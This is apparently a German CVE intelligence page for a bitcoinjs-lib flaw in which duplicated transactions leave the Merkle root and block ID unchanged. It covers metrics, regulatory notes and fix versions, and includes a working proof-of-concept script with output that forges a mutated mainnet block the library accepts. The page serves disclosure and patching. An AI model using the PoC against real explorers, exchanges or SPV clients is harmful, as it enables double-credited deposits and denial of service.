KritischCVE-2026-107846

    Bitcoinjs-lib: unzureichende Prüfung von Integritätswerten (CVE-2026-107846)

    Veröffentlicht Zuletzt geändert Quellen: CVE.org, EUVD, OSV, Hersteller

    Teilen

    Was ist betroffen, was ist zu tun

    Aktualisieren Sie bitcoinjs-lib auf Version 5.2.1.

    Betroffen
    • Bitcoinjs-lib gte 2.3.0, < 5.2.1..*

    Unklar, ob und wie Sie betroffen sind? Frage zu dieser Schwachstelle stellen

    Metriken

    9,3

    XIEM Effective CVSS

    Höchste verfügbare CVSS-Bewertung aus NVD- und Herstellerangaben.

    Quelle: Hersteller (CNA), CVSS v4

    9,3

    CVSS v4

    Schweregrad Kritisch auf der Skala von 0 bis 10.

    Quelle: CVE.org, EUVD, OSV, Hersteller

    0,2 %

    EPSS-Score

    Niedrig – Modell schätzt < 1 % Ausnutzungs-Wahrscheinlichkeit.

    Quelle: FIRST EPSS, Perzentil 7,6

    Alle Metriken anzeigen
    Schweregrad
    Kritisch
    Priorität (0–325)

    Der Priorisierungs-Score ist eine zusammengeführte Kennzahl, die mehrere Einzelsignale zu einer einzigen, handlungsleitenden Rangfolge verdichtet: technische Schwere (CVSS), Ausnutzungswahrscheinlichkeit (EPSS), der Status als bekannt ausgenutzt (KEV) und der Kontext des betroffenen Assets. Ziel ist die Antwort auf die einzig wirklich wichtige Frage im Schwachstellenmanagement: Was zuerst?

    Im Glossar lesen
    76.96 Methodik
    Exploit-Reife

    Ein Exploit ist Code oder eine Technik, die eine konkrete Schwachstelle gezielt ausnutzt, um ein unbeabsichtigtes Verhalten zu erzwingen — etwa Code auszuführen oder Rechte auszuweiten. Er ist das Werkzeug, das aus einer theoretischen Lücke einen praktischen Angriff macht.

    Im Glossar lesen
    kein öffentlicher PoC bekannt
    XIEM Effective CVSS

    XIEM® ist das gestufte Managed-Security-Betriebsmodell von NEOSEC und eine eingetragene Marke der NEOSEC GmbH. Es erweitert klassisches SIEM — die zentrale Sammlung, Normalisierung und Korrelation sicherheitsrelevanter Ereignisse — um Endpunkt-Forensik, Netzwerk-Sichtbarkeit und Täuschungstechnik und führt diese zu drei aufeinander aufbauenden Stufen zusammen: Sentry, Orchestrate und Command.

    Im Glossar lesen
    9,3 Methodik
    CVSS v4

    CVSS ist der weltweit verbreitete, offene Standard zur Bewertung der technischen Schwere einer Schwachstelle auf einer Skala von 0 bis 10. Er beschreibt, wie leicht eine Lücke ausnutzbar ist und welchen Schaden sie anrichten kann — nicht jedoch, wie wahrscheinlich ihre tatsächliche Ausnutzung ist. CVSS und das ergänzende EPSS beantworten bewusst unterschiedliche Fragen.

    Im Glossar lesen
    9,3
    EPSS-Score

    Der EPSS-Score ist der absolute Modell-Output für eine einzelne Schwachstelle: die geschätzte Wahrscheinlichkeit einer realen Ausnutzung in den nächsten 30 Tagen, ausgedrückt als Wert zwischen 0 und 1 (bzw. 0 % bis 100 %). Ein Score von 0,42 bedeutet „das Modell schätzt eine 42-prozentige Chance auf reale Ausnutzung binnen 30 Tagen“.

    Im Glossar lesen
    0,2 %
    Niedrig – Modell schätzt < 1 % Ausnutzungs-Wahrscheinlichkeit.
    EPSS-Perzentil

    Das EPSS-Perzentil ist die relative Einordnung einer Schwachstelle innerhalb aller EPSS-bewerteten CVEs, ausgedrückt als Wert zwischen 0 und 1. Ein Perzentil von 0,90 bedeutet „diese CVE hat einen höheren EPSS-Score als 90 % aller anderen bewerteten CVEs“. Anders als der EPSS-Score ist es keine Wahrscheinlichkeit — sondern eine Positionierung im Ranking.

    Im Glossar lesen
    7,6
    Niedrig – CVE gehört zu den unteren 10 % der heute bewerteten CVEs.
    KEV-Status

    Der KEV-Katalog ist eine von der US-Behörde CISA gepflegte Liste von Schwachstellen, für die eine aktive Ausnutzung in der Praxis nachgewiesen ist. Er beantwortet nicht die Frage „wie schwer?“, sondern „wird es bereits angegriffen?“ — und priorisiert damit das Patchen scharf.

    Im Glossar lesen
    —
    Veröffentlicht
    CISA-Bewertung (SSVC)
    Ausnutzung: Proof of Concept · automatisierbar · Auswirkung: teilweise
    Quelle: CISA Vulnrichment, Stand 9. November 2026
    CWE

    CWE ist ein Katalog typischer Schwächen-Arten in Software und Hardware — etwa fehlerhafte Eingabevalidierung, unsichere Speicherbehandlung oder mangelhafte Authentisierung. Während eine CVE eine konkrete Schwachstelle in einem konkreten Produkt benennt, beschreibt eine CWE die zugrunde liegende Fehlerklasse.

    Im Glossar lesen
    CWE-354

    Erkennungsregeln

    Für diese Schwachstelle liegt noch keine NEOSEC-Erkennungsregel vor.

    Einordnung nach NIS2 und CRA

    Regelbasierte Einordnung aus Ausnutzungsstatus und Schweregrad. Sie ersetzt keine Prüfung im Einzelfall.

    NIS2

    NIS2 ist die EU-Richtlinie (EU) 2022/2555 zur Erhöhung des Cybersicherheitsniveaus in der Union. Sie weitet Pflichten gegenüber der ersten NIS-Richtlinie deutlich aus: mehr Sektoren, verbindliches Risikomanagement, gestufte Meldepflichten und persönliche Verantwortung der Geschäftsleitung.

    Im Glossar lesen
    Hohe technische Schwere: Bewerten und beheben Sie die Schwachstelle im Schwachstellenmanagement nach Art. 21 Abs. 2 lit. e NIS2 und dokumentieren Sie die Entscheidung.
    CRA

    Der CRA ist die EU-Verordnung (EU) 2024/2847 mit horizontalen Cybersicherheitsanforderungen an „Produkte mit digitalen Elementen“ — von Industriesteuerungen über Software bis zu vernetzten Verbrauchergeräten. Erstmals müssen Hersteller Sicherheit über den gesamten Produktlebenszyklus gewährleisten, Schwachstellen behandeln und Sicherheitsupdates bereitstellen.

    Im Glossar lesen
    Ab dem 11.12.2027 verpflichtet Anhang I Teil II CRA Hersteller betroffener Produkte mit digitalen Elementen, Schwachstellen unverzüglich zu behandeln und Sicherheitsupdates bereitzustellen.
    ISO/IEC 27001

    ISO/IEC 27001 ist der international führende Standard für ein Informationssicherheits-Managementsystem (ISMS). Er beschreibt einen risikobasierten, prozessorientierten Rahmen, um Informationssicherheit systematisch zu planen, umzusetzen, zu überprüfen und zu verbessern.

    Im Glossar lesen
    Maßnahme A.8.8, Management technischer Schwachstellen: Relevanz für Ihre Systeme bewerten, Behebung einplanen und nachweisen.

    Beschreibung

    Zusammenfassung

    fastMerkleRoot füllt eine ungerade Ebene durch das Hashen des letzten Knotens mit sich selbst auf. Es meldet dies nicht, und checkTxRoots sucht nie nach wiederholten Transaktionen. Ein Peer kann daher Transaktionen duplizieren, um die Füllung zu füllen und einen Block mit einer anderen Transaktionsliste, aber demselben Merkle-Wurzel zu produzieren. Die Block-Hash und Block-ID ändern sich nicht, sodass der Header weiterhin gültige Arbeitsnachweise trägt. Im Proof-of-Concept geht ein echter Mainnet-Block von neun Transaktionen auf zehn und separat auf zwölf, mit derselben ID jedes Mal, und checkTxRoots akzeptiert alle drei. Bitcoin Core lehnt diesen Fall durch die mutated-Flagge in ComputeMerkleRoot und den bad-txns-duplicate-Grund in CheckBlock ab. Dies ist CVE-2012-2459.

    Details

    Ein Bitcoin-Merkle-Baum füllt eine ungerade Ebene durch das Hashen des letzten Knotens mit sich selbst auf. Das Duplizieren von Transaktionen, um diese Füllung zu füllen, ergibt daher dieselbe Wurzel für eine andere Transaktionsliste. Dies ist CVE-2012-2459. Bitcoin Core erkennt dies in ComputeMerkleRoot, das jede Ebene auf zwei benachbarte gleichwertige Hashes durchsucht, bevor es die Füllung hinzufügt, und die mutated-Flagge setzt, wenn es ein Paar findet, und CheckBlock lehnt dann den Block mit bad-txns-duplicate ab.

    uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
        bool mutation = false;
        while (hashes.size() > 1) {
            if (mutated) {
                for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
                    if (hashes[pos] == hashes[pos + 1]) mutation = true;
                }
            }
            if (hashes.size() & 1) {
                hashes.push_back(hashes.back());
            }
            ...
    

    Der gefälschte Block enthält die Duplikate in seiner eigenen Transaktionsliste, sodass das Paar auf einer Ebene vorhanden ist und die Flagge gesetzt wird. Der ehrliche Block hat kein solches Paar und wird nicht beeinflusst.

    fastMerkleRoot führt die Duplikation durch und meldet nichts.

    while (length > 1) {
      let j = 0;
      for (let i = 0; i < length; i += 2, ++j) {
        const left = results[i];
        const right = i + 1 === length ? left : results[i + 1];
        const data = tools.concat([left, right]);
        results[j] = digestFn(data);
      }
      length = j;
    }
    return results[0];
    

    Block.calculateMerkleRoot gibt diesen Wert unverändert zurück, und __checkMerkleRoot vergleicht ihn nur mit dem Feld im Header.

    private __checkMerkleRoot(): boolean {
      if (!this.transactions) throw errorMerkleNoTxes;
      const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
      return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
    }
    

    Nirgendwo in ts_src wird nach einem benachbarten Duplikatpaar oder einem wiederholten txid gesucht. checkTxRoots ist die angekündigte Integritätsschranke für Blöcke der Bibliothek und erbt die Lücke.

    PoC

    import { createRequire } from 'module';
    const require = createRequire(import.meta.url);
    import { Block } from 'bitcoinjs-lib/src/block';
    const fs = require('fs');
    const hex = (u) => Buffer.from(u).toString('hex');
    
    // Realer Mainnet-Block, aus dem Bitcoin Core Vektorsatz, der in diesem Repository mitgeliefert wird.
    const f = JSON.parse(fs.readFileSync(
      'test/fixtures/core/blocks.json', 'utf8'))[0];
    
    const honest = Block.fromHex(f.hex);
    console.log('honest block id       :', honest.getId());
    console.log('id matches fixture    :', honest.getId() === f.id);
    console.log('transactions          :', honest.transactions.length);
    console.log('merkle root           :', hex(honest.merkleRoot));
    console.log('checkTxRoots()        :', honest.checkTxRoots());
    console.log('serialized bytes      :', honest.toBuffer().length);
    
    // Angreifer dupliziert die letzte Transaktion und leitet das Ergebnis weiter.
    const forged = Block.fromHex(f.hex);
    forged.transactions = forged.transactions.concat([
      forged.transactions[forged.transactions.length - 1],
    ]);
    // Rundreise durch den echten Parser, genau wie eine P2P-Blocknachricht ankommt.
    const parsed = Block.fromHex(forged.toHex());
    
    console.log('');
    console.log('forged block id       :', parsed.getId());
    console.log('transactions          :', parsed.transactions.length);
    console.log('merkle root           :', hex(parsed.merkleRoot));
    console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
    console.log('checkTxRoots()        :', parsed.checkTxRoots());
    console.log('serialized bytes      :', parsed.toBuffer().length);
    
    const ids = parsed.transactions.map((t) => t.getId());
    console.log('');
    console.log('same block id                 :', honest.getId() === parsed.getId());
    console.log('different serialized bytes    :', honest.toHex() !== parsed.toHex());
    console.log('different transaction lists   :', honest.transactions.length !== parsed.transactions.length);
    console.log('duplicate txid inside forged  :', new Set(ids).size !== ids.length);
    console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());
    

    Ausgabe auf bitcoinjs-lib v7.0.1:

    honest block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
    id matches fixture    : true
    transactions          : 9
    merkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
    checkTxRoots()        : true
    serialized bytes      : 3054
    
    forged block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
    transactions          : 10
    merkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
    recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
    checkTxRoots()        : true
    serialized bytes      : 3313
    
    same block id                 : true
    different serialized bytes    : true
    different transaction lists   : true
    duplicate txid inside forged  : true
    both accepted by checkTxRoots : true
    

    Der ehrliche Block ist die Kontrolle. Es ist ein echter Mainnet-Block, dessen ID mit dem Fixmatch übereinstimmt und der validiert. Der gefälschte Block enthält eine andere Transaktionsliste und 259 mehr Bytes, produziert jedoch die identische Wurzel und ID und wird ebenfalls akzeptiert.

    Auswirkungen

    Die meisten realen Blöcke erreichen an irgendeiner Ebene eine ungerade Knotenzahl, sodass die meisten neu geschrieben werden können. Jeder Peer kann eine mutierte Kopie eines Blocks weiterleiten, der bereits in der Kette existiert. Keine Bergbauarbeit ist erforderlich, da der Header nie geändert wird. Ein Explorer, ein Börsenindexer oder ein SPV-Client, der an checkTxRoots anknüpft, sieht die duplizierte Transaktion zweimal und kann denselben Einzahlungsbetrag zweimal gutschreiben. Ein Verbraucher, der darauf reagiert, indem er den Block-Hash in die Blacklist aufnimmt, lehnt auch den ehrlichen Block ab, was die Kettenspaltungsdienstverweigerung beschreibt, die im ursprünglichen CVE beschrieben ist. Die Schwere hängt vom Verbraucher ab, da die Blockvalidierung einen kleineren Teil der Verwendung dieser Bibliothek als die Transaktionsverarbeitung darstellt. Die Ablehnung von Bitcoin Core stammt aus seiner veröffentlichten `ComputeM

    Originalquelle nur englisch verfügbar, maschinell ins Deutsche übersetzt.

    Quelle: NVD (NIST), ENISA EUVD, OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5

    Betroffene Produkte

    Betroffen sind die folgenden Versionen. Ältere Stände derselben Reihe sind ebenfalls verwundbar, sofern nicht anders angegeben.

    Betroffene Produkte
    Betroffene VersionenBehoben in
    bitcoinjsbitcoinjs-lib
    • ≥ 2.3.0, < 5.2.1
    • —
    npmbitcoinjs-lib
    • 2.3.0
    • >= 2.3.0, < 5.2.1
    • 7.0.0-rc.0
    • >= 6.0.0, < 6.1.8
    • >= 7.0.0-rc.0, < 7.0.2
    • 6.0.0
    • 5.2.1
    • 5.2.1
    • 7.0.2
    • 6.1.8
    • 7.0.2
    • 6.1.8

    Weakness-Klassen (CWE)

    • CWE-354Improper Validation of Integrity Check Value

      Base

      The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

      Eintrag bei MITRE CWE-354

    Quellen & Referenzen

    • github.combitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d1…x_refsource_MISC, web, euvd
    • github.combitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc59…x_refsource_MISC, web, euvd
    • github.combitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243…x_refsource_MISC, web, euvd
    • github.combitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6x_refsource_CONFIRM, web, euvd
    • NVD (NIST)vuln/detail/CVE-2026-107846advisory, euvd
    • github.combitcoinjs/bitcoinjs-libpackage

    Änderungen an der CVE

    Wer diese CVE wann geändert hat: die NVD (Analyse, betroffene Produkte, CVSS), der Herausgeber der CVE (CNA) und ergänzende Stellen wie CISA (ADP).

    1. Eintrag geändertCISA ADP

      CISA-Einschätzung (SSVC): Ausnutzung: Proof of Concept, automatisierbar: ja

      2 Einzeländerungen im Original anzeigen
      Einzeländerungen dieses Ereignisses im Original der NVD
      ArtAktionVorherNachher
      Referenzergänzt
      —
      https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6
      SSVC-Einschätzungergänzt
      —
      {"id":"CVE-2026-107846","role":"CISA Coordinator","options":[{"exploitation":"poc"},{"automatable":"yes"},{"technicalImpact":"partial"}],"version":"2.0.3","timestamp":"2026-11-09T16:49:37.173821Z"}

      Kennung der Quelle: 134c704f-9b21-4f2e-91b3-4a467353bcc0

    2. Neu erfasstGitHub

      8 Einzeländerungen im Original anzeigen
      Einzeländerungen dieses Ereignisses im Original der NVD
      ArtAktionVorherNachher
      Beschreibungergänzt
      —
      bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.
      CVSSergänzt
      —
      AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
      Schwachstellentyp (CWE)ergänzt
      —
      CWE-354
      Betroffene Versionen (Herausgeber)ergänzt
      —
      New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/107xxx/CVE-2026-107846.json">CVE-2026-107846</a>
      Referenzergänzt
      —
      https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449
      Referenzergänzt
      —
      https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0
      Referenzergänzt
      —
      https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1
      Referenzergänzt
      —
      https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6

      Kennung der Quelle: security-advisories@github.com

    Badge einbetten

    Zeigen Sie Schweregrad und KEV-Status dieser Schwachstelle auf Ihrer Seite – mit Link hierher. Das Bild wird stündlich aktualisiert.

    Badge-Vorschau für CVE-2026-107846
    <a href="https://intel.neosec.eu/cve/CVE-2026-107846"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-107846.svg" alt="CVE-2026-107846 – NEOSEC Intel" height="20"></a>